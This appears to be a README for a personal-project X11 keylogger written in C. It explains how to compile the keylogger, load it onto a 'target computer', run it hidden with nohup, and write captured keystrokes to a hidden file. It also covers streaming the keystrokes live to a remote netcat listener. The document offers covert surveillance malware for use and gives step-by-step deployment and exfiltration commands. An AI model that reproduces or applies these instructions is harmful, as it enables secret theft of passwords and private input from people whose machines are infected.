sXkeylogger is a simple network keylogger for X11 systems written in C that captures local keystrokes and sends them to a listener at a specified address & port & can also store them in a text file. This is a personal project.
Edit the macros at the top of the source code file to configure network details. Compile with make.
After loading the binary to the target computer, run in the background with
nohup ./a.out >/dev/null 2>&1 &
You can save stdout to a text file with
nohup ./a.out > .secretfile 2>&1 &
The keylogger will send logged information live to address & port specified in the source file before compilation. A listener device (such as a computer, an android phone with termux or a raspberry pi) will have to be listening on the specified port. To start a simple listener, you can use netcat like so:
nc -lkp $PORT
- Sends keystrokes live to a listener
- Stores keystroke on a text file
- Resource efficient
- Few dependencies (only X11 libary)
- Easy to build & run
- Limited keystroke capturing
- Only works on machines running X11
- Doesn't specify active window
